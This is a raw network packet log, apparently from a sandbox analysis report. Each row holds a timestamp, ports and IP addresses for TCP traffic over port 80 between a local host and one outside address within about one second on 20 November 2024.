Nov 20, 2024 11:08:09.558649063 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.558649063 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.560463905 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.560477972 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.560489893 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.560503960 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.560519934 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.560519934 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.560553074 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.560553074 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.561307907 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.561322927 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.561333895 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.561379910 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.561438084 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.563106060 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.563118935 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.563131094 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.563143015 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.563157082 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.563189983 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.563189983 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.563875914 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.563889027 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.563899994 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.563935041 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.563935041 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.564891100 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.564903975 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.564914942 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.564945936 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.564976931 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.565237045 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.565249920 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.565260887 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.565274954 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.565288067 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.565311909 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.565378904 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.565817118 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.565829039 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.565840006 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.565875053 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.565875053 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.566035032 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.566046953 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.566060066 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.566097021 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.566097021 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.566728115 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.566740990 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.566751957 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.566762924 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.566781044 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.566807985 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.566807985 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.567167044 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.567218065 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.649354935 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.649416924 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.649509907 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.649521112 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.649560928 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.691025019 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.691076040 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.691164017 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.691176891 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.691205978 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.691679955 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.691692114 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.691726923 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.692444086 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.692456007 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.692687988 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.693284988 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.693298101 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.693332911 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.694118023 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.694129944 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.694139957 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.694169044 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.694181919 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.694735050 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.694746971 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.694782019 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.695452929 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.695465088 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.695497990 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.696867943 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.696880102 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.696890116 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.696917057 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.696928978 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.698236942 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.698250055 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.698260069 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.698283911 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.698298931 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.698890924 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.698903084 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.698937893 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.699724913 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.699738026 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.699748993 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.699771881 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.699786901 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.700295925 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.700309038 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.700345993 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.700858116 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.700870991 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.700906992 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.701462984 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.701477051 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.701519966 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.702178955 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.702191114 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.702202082 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.702241898 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.702243090 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.702925920 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.702936888 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.702975988 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.703378916 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.703392029 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.703433990 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.704009056 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.704020977 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.704065084 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.704905987 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.704919100 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.704957962 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.705555916 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.705568075 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.705578089 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.705612898 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.705612898 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.706518888 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.706532001 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.706584930 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.707377911 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.707390070 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.707438946 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.709775925 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.709789038 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.709832907 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.710010052 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.710067987 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.710362911 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.710374117 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.710416079 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.710416079 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.711112022 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.711122990 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.711191893 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.711865902 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.711878061 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.711920023 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.712719917 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.712732077 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.712774992 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.713412046 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.713423967 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.713459015 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.713459015 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.714329958 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.714344978 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.714390039 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.714390039 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.714600086 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.714612007 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.714653969 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.810897112 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.810959101 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.811106920 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.811120033 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.811170101 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.811170101 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.811789989 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.811803102 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.811847925 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.812567949 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.812585115 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.812616110 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.812648058 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.813647032 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.813661098 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.813672066 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.813702106 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.813734055 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.814114094 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.814127922 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.814172029 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.814912081 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.814927101 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.814981937 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.815792084 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.815804958 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.815818071 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.815851927 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.815853119 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.816605091 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.816618919 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.816658974 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.816658974 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.817226887 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.817244053 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.817287922 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.818032026 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.818046093 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.818108082 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.818109035 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.818789005 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.818804026 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.818815947 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.818845034 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.818867922 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.819830894 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.819844007 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.819866896 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.819880962 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.819915056 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.819915056 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.822043896 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.822057962 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.822072983 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.822086096 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.822091103 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.822117090 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.822140932 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.824421883 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824435949 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824450016 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824495077 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.824496031 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.824637890 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824651003 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824664116 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824702024 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.824702024 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.824873924 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824888945 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824899912 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824913025 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.824930906 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.824966908 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.824966908 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.825006008 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.825020075 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.825031996 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.825048923 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.825081110 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.825081110 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.825784922 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.825798988 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.825809002 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.825854063 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.825854063 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.826807976 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.826821089 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.826832056 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.826844931 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.826884985 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.826884985 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.826884985 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.827649117 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.827661037 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.827671051 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.827682018 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.827697992 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.827722073 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.828603029 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.828628063 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.828638077 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.828661919 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.828685045 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.829535007 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.829547882 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.829559088 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.829581976 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.829602003 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.830452919 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.830466986 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.830476999 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.830497026 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.830514908 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.831548929 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.831590891 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.832070112 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.832083941 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.832107067 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.832123995 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.833893061 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.833909988 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.833951950 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.833982944 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.834062099 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.834104061 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.838219881 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.838232040 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.838243961 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.838254929 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.838265896 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.838277102 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.838275909 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.838288069 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.838301897 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.838310957 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.838320971 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.838519096 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.838562965 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.838656902 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.838700056 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.839677095 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.839689970 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.839726925 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.840428114 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.840440035 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.840445042 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.840465069 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.840492010 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.841648102 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.841660976 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.841692924 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.842573881 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.842617989 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.842704058 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.842746973 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.844014883 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.844027996 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.844053984 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.844079971 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.845407009 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.845418930 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.845429897 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.845457077 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.845474958 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.845882893 CET	80	49164	66.63.187.231	192.168.2.22
Nov 20, 2024 11:08:09.845930099 CET	49164	80	192.168.2.22	66.63.187.231
Nov 20, 2024 11:08:09.846045017 CET	80	49164	66.63.187.231	192.168.2.22
